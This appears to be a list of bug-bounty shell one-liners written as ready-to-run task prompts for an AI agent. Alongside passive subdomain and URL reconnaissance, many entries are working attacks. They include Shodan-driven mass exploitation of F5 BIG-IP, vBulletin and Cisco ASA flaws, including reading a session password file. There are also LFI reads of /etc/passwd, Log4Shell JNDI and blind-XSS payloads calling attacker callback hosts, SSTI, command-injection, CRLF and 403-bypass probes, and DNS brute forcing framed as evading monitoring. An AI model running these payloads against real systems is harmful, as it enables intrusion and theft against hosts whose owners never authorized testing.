Bug bounty one-liners, agent-ready

Enumerate subdomains for $TARGET using certificate transparency. Run exactly this one-liner, replacing HOST with the target domain: curl -s "https://crt.sh/?q=%25.HOST&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u Save the deduped list to subs.txt, then pipe it through httpx to keep only live hosts. Report total found vs total live.

Pull passive subdomains for $TARGET from the VirusTotal UI API without an API key using this one-liner (replace HOST): curl -s "https://www.virustotal.com/ui/domains/HOST/subdomains?limit=40" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u Filter the output to entries that actually end with the target domain, dedupe, and append to my scope file.

Scrape the full RapidDNS subdomain table for $TARGET with this one-liner (replace HOST): export host="HOST"; curl -s "https://rapiddns.io/subdomain/$host?full=1#result" | grep -e "<td>.*$host</td>" | grep -oP '(?<=<td>)[^<]+' | sort -u Merge results with my existing subs.txt, dedupe with sort -u, and show me only the newly discovered hosts.

Query BufferOver's TLS dataset for $TARGET subdomains using this exact one-liner (replace HOST): export domain="HOST"; curl "https://tls.bufferover.run/dns?q=$domain" | jq -r .Results'[]' | rev | cut -d ',' -f1 | rev | sort -u | grep "\.$domain" Explain each pipeline stage briefly, then run it and hand back a clean newline-separated list.

Harvest subdomains for $TARGET from CertSpotter's CT log API using this one-liner (replace HOST): curl -s "https://certspotter.com/api/v1/issuances?domain=HOST&include_subdomains=true&expand=dns_names" | jq .[].dns_names | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u Cross-reference with crt.sh output and highlight hosts appearing in only one source.

Mine the Wayback Machine CDX index for every historical hostname of $TARGET with this one-liner (replace HOST): curl -s "http://web.archive.org/cdx/search/cdx?url=*.HOST/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e "s/\/.*//" | sort -u Historical hosts often still resolve — resolve each with dnsx and flag the ones that answer.

Fetch subdomains for $TARGET from the Anubis-DB API with this one-liner (replace HOST): curl -s "https://jldc.me/anubis/subdomains/HOST" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u Combine with subfinder output, dedupe, and probe everything with httpx -silent.

Extract subdomains for $TARGET from SecurityTrails' public apex-domain listing using this one-liner (replace HOST): curl -s "https://securitytrails.com/list/apex_domain/HOST" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".HOST" | sort -u This needs no API key. Compare against my scope file and list only out-of-band discoveries.

Query the Rapid7 Sonar mirror at omnisint.io for $TARGET subdomains using this one-liner (replace HOST): curl --silent https://sonar.omnisint.io/subdomains/HOST | grep -oE "[a-zA-Z0-9._-]+\.HOST" | sort -u Sonar's reverse-DNS dataset surfaces hosts CT logs miss. Merge and dedupe into subs.txt.

Pull subdomains for $TARGET from synapsint's unified OSINT report using this one-liner (replace HOST): curl --silent -X POST https://synapsint.com/report.php -d "name=https%3A%2F%2FHOST" | grep -oE "[a-zA-Z0-9._-]+\.HOST" | sort -u Append results to subs.txt and print the count of new domains added.

Bruteforce subdomains for $TARGET through Google's DNS-over-HTTPS resolver instead of raw DNS — it blends with normal traffic. Use this loop (replace HOST, FILE.txt = wordlist): while read sub; do echo "https://dns.google.com/resolve?name=$sub.HOST&type=A&cd=true" | parallel -j100 -q curl -s -L --silent | jq -r 'select(.Answer) | .Answer[].data'; done < FILE.txt Explain why DoH bruteforcing evades on-path DNS monitoring, and save resolved names to resolved.txt.

Fuzz subdomains of $TARGET at the DNS level with ffuf using this one-liner (replace HOST, FILE.txt = subdomain wordlist): ffuf -u https://FUZZ.HOST -w FILE.txt -v | grep "| URL |" | awk '{print $4}' Add calibration (-ac) so wildcard responses are auto-filtered, then probe the hits with httpx and capture title + status.

Build a live-host list for $TARGET: enumerate with subfinder, keep only HTTP 200 responders, follow redirects, and dedupe. Run exactly this (replace HOST): subfinder -d HOST -silent | httpx -silent -follow-redirects -mc 200 | cut -d '/' -f3 | sort -u Output the final live list plus a count of hosts dropped at each stage.

Run a subdomain takeover check on $TARGET: enumerate with subfinder, assetfinder, and amass into one file, then test every host with subjack. Use this exact pipeline (replace HOST and FILE): subfinder -d HOST >> FILE; assetfinder --subs-only HOST >> FILE; amass enum -norecursive -noalts -d HOST >> FILE; subjack -w FILE -t 100 -timeout 30 -ssl -c fingerprints.json -v 3 >> takeover Summarize any dangling CNAMEs with the provider fingerprint matched (S3, GitHub Pages, Heroku, etc).

Reverse-lookup hostnames for a list of IP addresses using HostHunter. Run exactly this (HOSTS.txt = one IP per line): python3 hosthunter.py HOSTS.txt > OUT.txt Then filter OUT.txt to hostnames matching my target's root domain and check each for in-scope status.

Run ParamSpider against every domain in HOSTS.txt using this one-liner: cat HOSTS.txt | xargs -I % python3 paramspider.py -l high -o ./OUT/% -d % Create ./OUT if missing, then aggregate all results, count unique parameters per host, and rank the top 10 hosts by parameter surface.

Extract every relative endpoint path hardcoded in a JavaScript file using this one-liner (FILE.js = downloaded JS bundle): cat FILE.js | grep -oh "\"\/[a-zA-Z0-9_/?=&]*\"" | sed -e 's/^"//' -e 's/"$//' | sort -u Prioritize endpoints containing /api/, /admin/, /internal/, /v1/, /graphql and probe each with curl for unauthenticated access.

Build a target-specific fuzzing wordlist from $TARGET's own historical URLs. Run this one-liner (replace HOST): gau HOST | unfurl -u keys | tee -a FILE1.txt; gau HOST | unfurl -u paths | tee -a FILE2.txt; sed 's#/\n#g' FILE2.txt | sort -u | tee -a FILE1.txt | sort -u Explain why target-specific wordlists beat generic ones, then save the merged list as wordlist.txt.

Generate a content-based wordlist from the target's live pages with this one-liner: cat HOSTS.txt | httprobe | xargs curl | tok | tr '[:upper:]' '[:lower:]' | sort -u | tee -a FILE.txt Tokenize page bodies, lowercase everything, dedupe, and use the result as a directory-bruteforce wordlist in ffuf.

Extract every URL from $TARGET's sitemap.xml with this one-liner (replace HOST): curl -s http://HOST/sitemap.xml | xmllint --format - | grep -e 'loc' | sed -r 's|</?loc>||g' Check for sitemap index files first (/sitemap_index.xml, /robots.txt Sitemap: entries) and recurse into nested sitemaps.

Crawl $TARGET's HTML for JS file URLs, then run LinkFinder on each to pull hidden endpoints. Use this pipeline ($1 = target URL): curl -s $1 | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort | uniq | grep ".js" > FILE.txt; while IFS= read link; do python linkfinder.py -i "$link" -o cli; done < FILE.txt Deduplicate endpoints and flag anything containing 'admin', 'debug', 'internal', or 'api'.

Check $TARGET for an exposed Swagger/OpenAPI definition and dump every API path. Run (replace HOST): curl -s https://HOST/v2/swagger.json | jq '.paths | keys[]' If /v2/swagger.json 404s, try /swagger.json, /openapi.json, /api-docs, /v1/swagger.json, and /api/swagger.json. For each discovered path, extract the documented parameters and required methods.

Pull every URL AlienVault OTX has indexed for each host in HOSTS.txt using this loop: for sub in $(cat HOSTS.txt); do gron "https://otx.alienvault.com/otxapi/indicator/hostname/url_list/$sub?limit=100&page=1" | grep "\burl\b" | gron --ungron | jq -r '."url_list"[]?."url"' | sort -u | tee -a OUT.txt; done Filter OUT.txt for URLs with parameters and hand the list to a gf pattern scan for xss, sqli, and redirect.

Probe every URL in HOSTS.txt concurrently and tabulate status + response size using GNU parallel: cat HOSTS.txt | parallel -j50 -q curl -w 'Status:%{http_code}\t Size:%{size_download}\t %{url_effective}\n' -o /dev/null -sk Sort results by status code, isolate 200s and 403s, and flag responses whose size differs sharply from siblings (often hidden content).

Extract every domain referenced in $TARGET's Content-Security-Policy header — they reveal internal and third-party assets. Run (replace URL): curl -vs URL --stderr - | awk '/^content-security-policy:/' | grep -Eo "[a-zA-Z0-9./?=_-]*" | sed -e '/\./!d' -e '/[^A-Za-z0-9._-]/d' -e 's/^\.//' | sort -u Cross-check each domain against scope and resolve them for live hosts.

Query recon.dev's aggregated bug-bounty dataset for $TARGET and immediately probe results. Run (replace HOST and apikey): curl "https://recon.dev/api/search?key=apikey&domain=HOST" | jq -r '.[].rawDomains[]' | sed 's/ //g' | sort -u | httpx -silent Save live hosts with titles and status codes, and diff against my existing inventory.

Hunt for hardcoded variables and leaked secrets across $TARGET's JavaScript. Run this pipeline (replace HOST): assetfinder --subs-only HOST | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.woff)' | while read url; do curl -s $url | grep -Eo "var [a-zA-Z0-9_]+"; done Extend the grep to also match apiKey, token, secret, password, and AWS-style AKIA keys. Report every hit with its source URL.

Run a full crawl-to-XSS pipeline against the targets in URLS.txt using this exact one-liner: gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}' | grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt Explain each stage (crawl → filter 200s → keep params → inject → verify). Save confirmed XSS hits with payload and URL to OUT.txt.

Mine historical URLs for $TARGET, filter for likely XSS parameters, and confirm with dalfox. Run exactly this (replace HOST and the blind-XSS callback domain): waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b YOURS.xss.ht pipe > OUT.txt Deduplicate by path+param before scanning, and report reflected vs blind findings separately.

Test $TARGET for reflected XSS without any pattern library — inject a marker into every parameter and check the response for reflection. Run (replace HOST): waybackurls HOST | grep '=' | qsreplace '"><script>alert(1)</script>' | while read host; do curl -sk --path-as-is "$host" | grep -qs "<script>alert(1)</script>" && echo "$host is vulnerable"; done For each hit, note whether the reflection is inside an attribute, JS string, or HTML body — that determines the working payload.

Find DOM-XSS surface on every host in HOSTS.txt by locating JS files that listen for postMessage events. Run: cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")" For each match, fetch the JS and check whether the message handler validates event.origin before using event.data in innerHTML, eval, or location.

Test every live host of $TARGET for client-side prototype pollution. Run this pipeline (replace HOST): subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' FILE.txt | page-fetch -j 'window.testparam == "exploit" ? "[VULNERABLE]" : "[NOT VULNERABLE]"' Explain how __proto__ query injection pollutes Object.prototype in the browser, and list only VULNERABLE hosts.

Test $TARGET for Local File Inclusion at scale. This one-liner collects historical URLs, filters LFI-prone params, injects /etc/passwd, and confirms on the 'root:x' marker. Run (replace HOST): gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"' For Windows targets, adapt the payload to C:\\Windows\\win.ini and the marker to '[fonts]'. List all VULN endpoints.

Hunt open redirects on $TARGET by injecting your callback domain into redirect-prone parameters and checking the Location header. Run (replace URL with your domain, $1 with the target): export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"' Also try bypass payloads (//evil.com, /\\evil.com, %09/evil.com) on confirmed parameters.

Replay all URL-parameters from URLS.txt through a local Burp proxy so every redirect chain is inspectable. Run: cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null After the run, review Burp's HTTP history for 3xx responses pointing off-domain and note which parameter controlled the Location.

Sweep Shodan-indexed F5 BIG-IP hosts for CVE-2020-5902 (TMUI path traversal → file read / RCE). Run exactly this: shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host; do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && echo "$host Vulnerable"; done Only test hosts in authorized scope. Report each confirmed host with the retrieved file snippet as proof.

Check every host in HOSTS.txt for CVE-2020-3452, the Cisco ASA/FTD path traversal that leaks web VPN config files. Run: while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo "VULNERABLE $LINE"; done < HOSTS.txt Add a NOT-VULNERABLE else-branch, and for confirmed hosts attempt reading /+CSCOE+/session_password.html as escalation proof.

Test targets in URLS.txt for CVE-2022-0378 (reflected XSS via the id parameter in microweber's module endpoint). Run: cat URLS.txt | while read h; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x" | grep -qs "onmouse" && echo "$h: VULNERABLE"; done Confirm the reflection context manually in a browser before reporting, and capture a screenshot as evidence.

Identify vBulletin 5.x instances via Shodan's favicon hash and test the widget_tabbedContainer_tab_panel unauthenticated RCE. Run: shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host; do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && echo "$host Vulnerable"; done Verify scope before testing. For confirmed hosts, document the phpinfo output as proof-of-execution.

Test every historical endpoint of $TARGET for CORS misconfiguration by reflecting an evil Origin header. Run (replace URL): site="URL"; gau "$site" | while read url; do curl -sIH "Origin: https://evil.com" "$url" | grep -qi "access-control-allow-origin: https://evil.com" && echo "[CORS] $url"; done For each hit also check Access-Control-Allow-Credentials: true — reflected origin + credentials is the exploitable, reportable case.

Discover hidden virtual hosts and internal admin panels on $TARGET by fuzzing the Host header. Run (replace URL and FILE.txt): ffuf -c -u URL -H "Host: FUZZ" -w FILE.txt First calibrate with -ac or note the baseline response size, then filter out baseline matches with -fs. Investigate any hit with admin, internal, staging, dev, or jenkins in the name.

Port-scan $TARGET's origin infrastructure while excluding Cloudflare-fronted hosts. Run exactly this (replace HOST): subfinder -silent -d HOST | filter-resolved | cf-check | sort -u | naabu -rate 40000 -silent -verify | httprobe Explain why skipping CDN hosts matters (origin ports leak services), and report non-standard open ports with service banners.

Port-scan $TARGET with nmap, parse the XML with jc, and probe only ports that speak HTTP. Run (replace HOST): nmap -v0 HOST -oX /dev/stdout | jc --xml -p | jq -r '.nmaprun.host | (.address["@addr"] + ":" + .ports.port[]["@portid"])' | httpx --silent Hand back a table of IP:port → HTTP status/title, and flag web servers on unusual ports (8080, 8443, 9000+).

Map $TARGET's full IP footprint: from one known IP, find the ASN, then enumerate every announced route. Run (replace IP): whois -h whois.radb.net -i origin -T route $(whois -h whois.radb.net IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n Explain the two whois stages (IP→ASN→routes), then sample-scan the ranges for live web services.

For every host in HOSTS.txt, resolve A records and pull CIDR + organization from whois. Run: for HOST in $(cat HOSTS.txt); do for ip in $(dig a $HOST +short); do whois $ip | grep -e "CIDR\|Organization" | tr -s " " | paste - -; done; done | uniq Group hosts by CIDR to reveal the target's real network blocks, and flag any org names that indicate acquired subsidiaries.

Rip every IPv4 address out of a recon loot file with this regex one-liner: grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt Dedupe, drop private ranges (10/8, 172.16/12, 192.168/16), and feed the rest to naabu for port discovery.

Download ProjectDiscovery's public bug-bounty program list and dump every in-scope domain. Run: curl -sL https://raw.githubusercontent.com/projectdiscovery/public-bugbounty-programs/master/chaos-bugbounty-list.json | jq -r '.programs[].domains | to_entries | .[].value' Filter the output to a program name I give you, and save its full domain list as scope.txt.

Pull every in-scope HackerOne asset from arkadiyt's bounty-targets dataset. Run: curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/hackerone_data.json | jq -r '.[].targets.in_scope[] | [.asset_identifier, .asset_type] | @tsv' Filter to asset_type WILDCARD or DOMAIN, grep for a program I name, and probe the resulting hosts with httpx.

Dump all in-scope Bugcrowd targets with their asset types. Run: curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/bugcrowd_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv' Extract only web-facing targets for my chosen program and queue them for subdomain enumeration.

List every in-scope Intigriti endpoint from the bounty-targets dataset. Run: curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/intigriti_data.json | jq -r '.[].targets.in_scope[] | [.endpoint, .type] | @tsv' Show me the newest programs first and build a clean target list for the one I pick.

Enumerate in-scope YesWeHack assets. Run: curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/yeswehack_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv' Combine this with the HackerOne and Bugcrowd dumps into one master scope file, deduped by root domain.

Pull HackenProof's in-scope targets including per-target instructions. Run: curl -sL https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/hackenproof_data.json | jq -r '.[].targets.in_scope[] | [.target, .type, .instruction] | @tsv' Highlight targets whose instruction field mentions credentials or test accounts — those programs allow deeper testing.

Enumerate subdomains for $TARGET with assetfinder. Run: assetfinder --subs-only HOST | sort -u Save the output to assetfinder.txt, then diff it against my existing subs.txt with comm -13 and show me only net-new hosts.

Run subfinder against $TARGET using every passive source. Execute: subfinder -d HOST -all -silent | sort -u Report the count per run, then resolve the list with dnsx and hand back only hosts with valid A records.

Perform a passive Amass enumeration on $TARGET: amass enum -passive -d HOST -silent | sort -u Merge with subfinder output, dedupe, and give me a table of unique sources that found each host.

Extract CNAME records for every live subdomain of $TARGET to map takeover surface: cat subs.txt | dnsx -cname -resp-only -silent Flag any CNAME pointing to known vulnerable services (Heroku, S3, GitHub Pages, Azure, Shopify) for manual verification.

Pull Subject Alternative Names from TLS certificates of all live $TARGET hosts: cat subs.txt | httpx -tls-grab -json -silent | jq -r '.tls.subject_an[]?' | sort -u Highlight SAN entries that reveal internal or staging domains not present in my current scope.

Run PTR lookups across the resolved IPs of $TARGET subdomains to find sibling infrastructure: cat subs.txt | dnsx -a -resp-only | sort -u > ips.txt; cat ips.txt | dnsx -ptr -resp-only -silent | sort -u Filter PTR results to new domains owned by the target org and list them as pivot candidates.

Harvest historical URLs for $TARGET from both Wayback Machine and Common Crawl: echo HOST | waybackurls > wb.txt; echo HOST | gau --threads 5 > gau.txt; cat wb.txt gau.txt | sort -u > all-urls.txt Report total unique URLs, then break down the count by file extension so I can pick fuzzing targets.

Crawl $TARGET with Katana including JS parsing and known files: katana -u https://HOST -d 3 -jc -kf all -silent | sort -u Save to katana.txt, then extract URLs with parameters using grep '=' and rank the top 20 by parameter count.

From my collected URL list for $TARGET, isolate every unique parameterized endpoint: cat all-urls.txt | grep "=" | sed 's/=.*//' | sort -u Then list the distinct parameter names across the whole set with frequency counts so I know which inputs are most reused.

Run gf patterns over my $TARGET URL corpus to surface attack-prone parameters: cat all-urls.txt | gf redirect | sort -u; cat all-urls.txt | gf sqli | sort -u; cat all-urls.txt | gf ssrf | sort -u Present results grouped by vulnerability class with example URLs for each.

Extract hidden API endpoints from $TARGET's JavaScript bundles: cat js.txt | while read u; do echo "== $u"; curl -s "$u" | grep -oE '"/[a-zA-Z0-9_?&=/:-]*"' | sort -u; done Filter to paths containing /api/, /v1/, /v2/ or /graphql and test each for unauthenticated access.

Run LinkFinder against every JavaScript file from $TARGET: cat js.txt | xargs -I % python3 linkfinder.py -i % -o cli Compile a deduped list of discovered endpoints, then probe each with httpx and report the ones returning 200 without auth.

Validate which archived $TARGET URLs are still alive: echo HOST | waybackurls | httpx -silent -mc 200 -o live-old.txt Old-but-alive endpoints often miss modern auth checks — list the oldest-looking paths (date patterns, legacy extensions) first.

Mine $TARGET's JavaScript for hardcoded internal domains and subdomains: cat js.txt | xargs -I % curl -s % | grep -oE "https?://[a-zA-Z0-9.-]*\.HOST" | sort -u Diff the result against my subs.txt and enumerate anything new with httpx.

Test every parameterized $TARGET URL for reflected character injection with kxss: cat urls.txt | kxss Show me which URLs reflect dangerous characters (< > " ') unfiltered, then rank them by number of unencoded characters.

Crawl my $TARGET scope with gospider and pipe parameterized URLs straight into dalfox: gospider -S targets.txt -c 10 -d 3 --js | grep -oE "https?://\S+" | grep "=" | dalfox pipe -b YOUR.xss.ht Summarize confirmed XSS hits with parameter name, payload, and proof URL.

Fuzz $TARGET XSS candidate parameters by replacing every value with a probe payload: cat urls.txt | gf xss | qsreplace '"><img src=x onerror=alert(1)>' | freq Report only responses where the payload appears unencoded in the body.

Deep-scan a single $TARGET endpoint with dalfox DOM mining and dictionary attack: dalfox url "https://HOST/page?q=test" --mining-dom --mining-dict -b YOUR.xss.ht Explain each finding's injection context (HTML, attribute, JS) and suggest the minimal working payload.

Prepare an SVG-based stored XSS test for $TARGET file uploads: echo '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>' > xss.svg Upload it anywhere the app accepts images, then check whether the file is served inline (Content-Type: image/svg+xml) from the main domain. Report the serving URL and headers.

Plant blind XSS beacons across every $TARGET input that might reach an admin panel: cat urls.txt | gf xss | qsreplace '"><script src=https://YOUR.xss.ht></script>' | httpx -silent -fr Track which endpoints accepted the payload and note form fields (feedback, support, profile) worth manual submission.

Statically scan $TARGET's JavaScript for DOM XSS sources and sinks: cat js.txt | xargs -I % curl -s % | grep -nE "location\.(hash|search)|document\.URL|innerHTML|document\.write" | sort -u Map each source to nearby sinks and tell me which flows are exploitable with a crafted URL fragment.

Find JSONP endpoints in $TARGET's URL corpus that reflect the callback parameter: cat all-urls.txt | grep -iE "callback|jsonp=" | sort -u Test each with callback=alert(1)// and report any that return executable JavaScript with a scriptable content type.

Test $TARGET redirect parameters by swapping values to an external domain: cat urls.txt | gf redirect | qsreplace "https://evil.com" | httpx -silent -fr -mc 301,302,307,308 List endpoints that redirect off-domain and note which filter bypasses (//evil.com, /\/evil.com, https://HOST.evil.com) succeed.

Fuzz a $TARGET file parameter for local file inclusion using the classic LFI wordlist: ffuf -u "https://HOST/page?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -mc 200 Filter false positives by response size, then confirm hits by checking for /etc/passwd content patterns.

Spray traversal sequences into $TARGET file-ish parameters and match on passwd contents: cat urls.txt | gf lfi | qsreplace "../../../../etc/passwd" | httpx -silent -mr "root:x:0:0" Any match is a confirmed LFI — report the endpoint, working depth, and encoding variant used.

Check $TARGET PHP apps for source disclosure via filter wrappers: cat urls.txt | gf lfi | qsreplace "php://filter/convert.base64-encode/resource=index" | httpx -silent -mr "^[A-Za-z0-9+/=]{200,}" For matches, decode the base64 and show me the leaked source snippet.

Probe $TARGET redirect and header-influencing parameters for CRLF injection: cat urls.txt | gf redirect | qsreplace "%0d%0aX-Injected:%20crlf" | httpx -silent -mr "X-Injected" A reflected header means response splitting — flag candidates for cache-poisoning follow-up.

Run nuclei with critical through medium templates against all live $TARGET hosts: cat live.txt | nuclei -silent -severity critical,high,medium -o nuclei.txt Deduplicate findings by template ID and give me a table sorted by severity with affected hosts.

Detect technologies on $TARGET hosts, then run matching nuclei template packs: cat live.txt | httpx -silent -td | grep -i wordpress | cut -d' ' -f1 | nuclei -t technologies/wordpress/ -silent Repeat for Joomla, Drupal, and Apache stacks; report version-specific CVEs only.

Query Shodan for $TARGET assets with known CVE tags: shodan search --fields ip_str,port,hostnames "ssl:HOST vuln:cve" | sort -u Cross-check the CVEs against public exploit availability (ExploitDB/GitHub) and prioritize accordingly.

Test $TARGET hosts for Log4Shell by injecting JNDI payloads into common headers: cat live.txt | httpx -silent -H 'X-Api-Version: ${jndi:ldap://YOUR.interact.sh/a}' -H 'User-Agent: ${jndi:ldap://YOUR.interact.sh/b}' Monitor the interactsh client and report any DNS/LDAP callbacks with the source header.

Probe $TARGET template-injection candidates with a multi-engine polyglot: cat urls.txt | gf ssti | qsreplace '{{7*7}}${7*7}<%= 7*7 %>' | freq Any response containing 49 indicates SSTI — identify the engine from which variant evaluated.

Blind-test $TARGET RCE-prone parameters with time-based payloads: cat urls.txt | gf rce | qsreplace ';sleep 5' | httpx -silent -rt Endpoints consistently responding 5+ seconds slower than baseline warrant manual confirmation with an out-of-band callback.

Check all $TARGET subdomains for dangling CNAME takeovers: cat subs.txt | subzy run --hide_fails Verify each potential hit manually by visiting the host and matching the provider's unclaimed-resource fingerprint.

Probe every live $TARGET host for exposed git repositories: cat live.txt | sed 's#$#/.git/HEAD#' | httpx -silent -mr "ref: refs/heads" -mc 200 For hits, explain how to dump the repo with git-dumper and what secrets to grep for.

Test $TARGET hosts for arbitrary-origin CORS: cat live.txt | httpx -silent -H "Origin: https://evil.com" -mr "Access-Control-Allow-Origin: https://evil.com" Also check the null origin and subdomain-prefix bypasses; report hosts that reflect the origin AND allow credentials.

Extract S3 bucket references from $TARGET URLs and probe their permissions: cat all-urls.txt | grep -oE '[a-zA-Z0-9.-]+\.s3\.amazonaws\.com' | sort -u | httpx -silent -mc 200,403 For 200 responses, attempt a listing; for 403, try authenticated aws cli reads. Never write — read-only verification only.

Audit $TARGET hosts for missing security headers: cat live.txt | httpx -silent -json | jq -r 'select(.header["content-security-policy"] == null) | .url' Extend the check to X-Frame-Options, HSTS, and Referrer-Policy, then produce a coverage matrix per host.

Probe $TARGET hosts for commonly exposed sensitive files: cat live.txt | httpx -silent -path /.env,/.git/config,/config.json -mc 200 Match bodies for credential patterns and report file path, host, and redacted secret types found.

Brute-force directories on $TARGET with auto-calibration: ffuf -u https://HOST/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403 -ac Recursively fuzz any discovered admin, api, backup, or internal directories one level deep.

Discover hidden HTTP parameters on a $TARGET endpoint with Arjun: arjun -u "https://HOST/endpoint" --stable -oJ arjun.json For each discovered parameter, test the obvious vulnerability class (redirect params → open redirect, file params → LFI).

Bypass $TARGET 403 protections using header-override tricks: ffuf -u https://HOST/FUZZ -w paths.txt -H "X-Original-URL: /admin" -mc 200 Also try X-Rewrite-URL, X-Forwarded-For: 127.0.0.1, and trailing-dot/semicolon path variants. Report which technique opens which path.

Fuzz virtual hosts on $TARGET's IP to find internal-only sites: ffuf -u https://TARGET_IP/ -H "Host: FUZZ.HOST" -w subdomains-top1million-5000.txt -ac Compare discovered vhosts against public DNS — anything not publicly resolvable is high-value.

Enumerate API objects on $TARGET's REST endpoints: ffuf -u https://HOST/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -mc 200,401,403 Map the route surface (users, orders, admin) and flag endpoints returning 401 vs 403 for authorization testing.

Look for backup copies of $TARGET source files by appending classic suffixes: cat all-urls.txt | grep -iE '\.(php|aspx?|jsp|json|xml|conf)$' | sed -E 's/$/~/' | httpx -silent -mc 200 Repeat with .bak, .old, .swp, and .orig extensions; report any leaked source or config.

Search GitHub code for leaked $TARGET credentials: gh search code "HOST api_key" --limit 50 Extend the dorks: password, secret, token, .env, config. Verify leaks are real (not placeholders) before reporting.

Scan the target organization's public GitHub repos for verified secrets: trufflehog github --org=ORGNAME --only-verified Report only verified findings with repo, commit, and secret type — never test the credential beyond verification.

Expand $TARGET's ASN into full IP ranges: whois -h whois.radb.net -- '-i origin AS12345' | grep -Eo '([0-9.]+){4}/[0-9]+' | sort -u Feed the ranges into naabu for a quick top-port scan and identify services not behind the CDN.

Port-scan $TARGET's IP space and fingerprint HTTP services: cat ips.txt | naabu -top-ports 1000 -silent | httpx -silent -o services.txt Highlight direct-IP services that bypass WAF/CDN protections — these often expose admin panels.

Identify which $TARGET hosts sit behind a CDN/WAF and which don't: cat live.txt | httpx -silent -cdn -td Hosts without CDN protection are direct-attack candidates; report them with their detected tech stack.

Pull ProjectDiscovery's Chaos dataset for $TARGET: chaos -d HOST -silent | sort -u Merge with my active subs.txt, dedupe, and probe new entries with httpx to confirm they're alive.

Query SecurityTrails for $TARGET subdomains: curl -s "https://api.securitytrails.com/v1/domain/HOST/subdomains" -H "APIKEY: $ST_KEY" | jq -r '.subdomains[]' | sed "s/$/.HOST/" | sort -u Compare against my crt.sh output and flag subdomains found only in SecurityTrails.

Pull passive DNS for $TARGET from AlienVault OTX: curl -s "https://otx.alienvault.com/api/v1/indicators/domain/HOST/passive_dns" | jq -r '.passive_dns[]?.hostname' | grep -E "\.HOST$" | sort -u Report unique hosts not in my current scope, sorted by DNS record age if the API returns it.

Query urlscan.io for every scanned $TARGET domain: curl -s "https://urlscan.io/api/v1/search/?q=domain:HOST&size=10000" | jq -r '.results[].task.domain' | sort -u Deduplicate and diff against my scope; new hosts often reveal preview or staging environments.

Detect whether $TARGET uses DNS wildcards before mass brute forcing: for i in $(seq 1 5); do dig +short "$(openssl rand -hex 8).HOST" | head -1; done | sort -u If the same IP appears for random names, filter it out from any brute-force resolution results.

Brute-force $TARGET subdomains with puredns and a strong wordlist: puredns bruteforce /usr/share/wordlists/subdomains-top1million-110000.txt HOST -r resolvers.txt --write bf.txt Automatically filter wildcard responses, then merge results with passive sources.

Generate permutations of known $TARGET subdomains and resolve them: dnsgen subs.txt | puredns resolve -r resolvers.txt --write perms.txt Common permutations (dev-, -staging, -uat) often surface unlisted environments — highlight those in the report.

Dump every $TARGET URL from a recent Common Crawl index: curl -s "https://index.commoncrawl.org/CC-MAIN-2024-30-index?url=*.HOST&output=json" | jq -r '.url' | sort -u Bucket URLs by path prefix and rank the top 20 endpoints by unique parameter count.

Diff $TARGET URL sets between crawls to catch new endpoints: comm -13 <(sort urls-old.txt) <(sort urls-new.txt) > new-urls.txt Prioritize new endpoints containing admin, api, upload, or debug keywords for immediate testing.

